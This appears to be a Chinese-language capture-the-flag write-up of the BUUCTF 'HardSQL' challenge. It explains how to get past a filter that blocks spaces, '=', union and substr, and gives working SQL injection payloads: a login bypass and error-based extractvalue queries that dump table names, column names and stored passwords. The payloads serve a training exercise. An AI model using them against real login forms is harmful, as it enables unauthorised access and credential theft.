【BUUCTF】HardSQL
  Xx8NtODotFSR 2024年08月07日 67 0

【BUUCTF】HardSQL

题目来源

收录于:BUUCTF  极客大挑战 2019

题目描述

一道纯粹的SQL注入题

img

尝试进行注入,发现对以下字符进行了过滤:

= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and

且过滤方式不区分大小写,检测到以上字符就die()

题解

先找注入点,由于空格被过滤,与空格起同样作用的字符也被过滤,因此我们使用()将库名、表名、字段名包裹起来,就不需要使用空格了。
exp 如下:

?username=-1'or(1)%23&password=1

img

成功登录。

由于过滤了union,我们使用报错注入的方式进行尝试。另外,由于=被过滤,我们可以使用like来代替=。payload如下:

//爆库名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆字段值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23

在爆字段值的时候我们看到,flag只显示了一部分

img

由于substr()函数被过滤,我们使用left()right()来进行字符串的截取,payload:

1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23

其中30是截取右边字符的个数,可以改为其他值,只要能拿到完整flag即可。

img

总结

绕过空格

使用以下字符替代空格,可以起到相同效果

%09 %0a %0b %0c %0d /**/

或使用()包裹库名、表名、字段名,从而避免空格的使用,如:

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

绕过 =

like代替=

字符串显示不全

使用以下三个函数对字符串进行截取:

substr()   left()   right()
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2024年08月07日 0

暂无评论

推荐阅读
Xx8NtODotFSR